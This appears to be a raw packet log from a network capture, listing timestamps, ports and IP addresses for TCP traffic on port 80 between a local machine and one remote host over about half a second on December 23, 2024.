Dec 23, 2024 08:15:50.371807098 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.372001886 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.372066975 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.372445107 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.372482061 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.372494936 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.372523069 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.373152971 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.373239994 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.373295069 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.373306990 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.373320103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.373349905 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.373497963 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.373681068 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.374011040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.374094009 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.374106884 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.374140978 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.374221087 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.374284029 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.374870062 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.374881983 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.374895096 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.374916077 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.375782013 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.375828981 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.491560936 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.491636992 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.491707087 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.491750002 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.491799116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.491831064 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.491851091 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.491873026 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.491920948 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.491986990 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.492024899 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.492077112 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.492098093 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.492794037 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.492850065 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.492851973 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.492980957 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.493041992 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.493084908 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.493123055 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.493185043 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.493242025 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.493856907 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.493894100 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.493896961 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.493932009 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.493990898 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.494023085 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.494585991 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.494642973 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.494663954 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.494680882 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.494755983 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.494798899 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.495376110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.495443106 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.495460033 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.495501995 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.495546103 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.495620966 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.496259928 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.496295929 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.496316910 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.496347904 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.496393919 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.496417046 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.496994019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.497050047 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.497051001 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.497087955 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.497147083 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.497183084 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.497764111 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.497816086 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.497875929 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.497912884 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.497980118 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.498009920 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.498622894 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.498675108 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.498708963 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.498718023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.498770952 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.498786926 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.499365091 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.499413013 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.499422073 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.499459028 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.499505043 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.499543905 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.500200987 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.500250101 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.500260115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.500298023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.500359058 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.500368118 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.500931978 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.500967026 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.500992060 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.500996113 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.501029968 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.501090050 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.501739979 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.501753092 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.501766920 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.501806974 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.501806974 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.501910925 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.502522945 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.502556086 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.502568960 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.502602100 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.502631903 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.502681971 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.503282070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.503335953 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.503336906 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.503354073 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.503441095 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.504004955 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.504113913 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.504127026 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.504154921 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.555269957 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.559567928 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.559600115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.559614897 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.559657097 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.559909105 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.559921980 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.559972048 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.560000896 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.560019016 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.560062885 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.560724974 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.560736895 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.560776949 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.560781002 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.560789108 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.561283112 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.561500072 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.561515093 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.561552048 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.561564922 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.561583042 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.561583042 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.562311888 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.562326908 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.562365055 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.562374115 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.562376022 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.562647104 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.563097000 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.563111067 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.563287020 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.564004898 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.568098068 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.615791082 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.615808010 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.615819931 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.615879059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.615922928 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.615922928 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.615942001 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.615956068 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.616065979 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.616085052 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.616621971 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.616633892 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.616676092 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.616853952 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.616868973 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.616883993 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.616898060 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.616960049 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.617346048 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.617621899 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.617633104 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.617645979 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.617677927 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.617677927 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.618132114 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.618411064 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.618424892 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.618442059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.618480921 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.618480921 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.618877888 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.619195938 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.619205952 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.619333029 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.683887005 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.683928967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.683953047 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.683974028 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.683976889 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.684133053 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.684194088 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.684214115 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.684427023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.684480906 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.684495926 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.684516907 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.684564114 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.684688091 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.685228109 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.685292006 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.685306072 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.685312033 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.685348988 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.685437918 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.685647964 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.686011076 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.686074018 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.686093092 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.686124086 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.686213970 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.686594009 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.686809063 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.686876059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.686894894 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.686920881 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.687077999 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.687459946 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.687702894 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.687722921 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.687743902 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.687767982 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.688013077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.688272953 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.688376904 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.688463926 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.688483000 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.688525915 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.688671112 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.688721895 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.689254045 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.689271927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.689292908 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.689332962 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.689430952 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.690012932 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.690042973 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.690063000 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.690076113 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.690076113 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.690413952 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.690506935 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.690900087 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.690937042 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.690973997 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.691020966 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.691174030 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.691659927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.691694021 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.691709042 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.691754103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.691807032 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.692019939 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.692440033 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.692473888 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.692476034 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.692514896 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.692634106 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.692672968 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.693018913 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.693175077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.693231106 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.693265915 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.693324089 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.693356991 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.693850994 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.693973064 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.694052935 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.694088936 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.694123983 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.694451094 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.694807053 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.694844961 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.694856882 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.694881916 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.694911957 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.694957972 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.695192099 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.695542097 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.695660114 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.695696115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.695733070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.695754051 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.696074009 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.752161026 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.752185106 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.752197027 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.752340078 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.752352953 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.752360106 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.752412081 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.752425909 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.752461910 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.752461910 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.753021002 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.753032923 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.753071070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.753083944 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.753108025 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.753108025 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.753813982 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.753827095 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.753859997 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.753874063 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.753910065 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.753910065 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.754614115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.754626989 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.754754066 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.754767895 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.754781008 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.754806995 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.754806995 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.755450010 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.755465031 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.755479097 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.755507946 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.755507946 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.756004095 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.756248951 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.756261110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.756277084 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.756308079 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.756308079 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.809009075 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.809082031 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.809094906 CET	80	49763	185.215.113.16	192.168.2.10
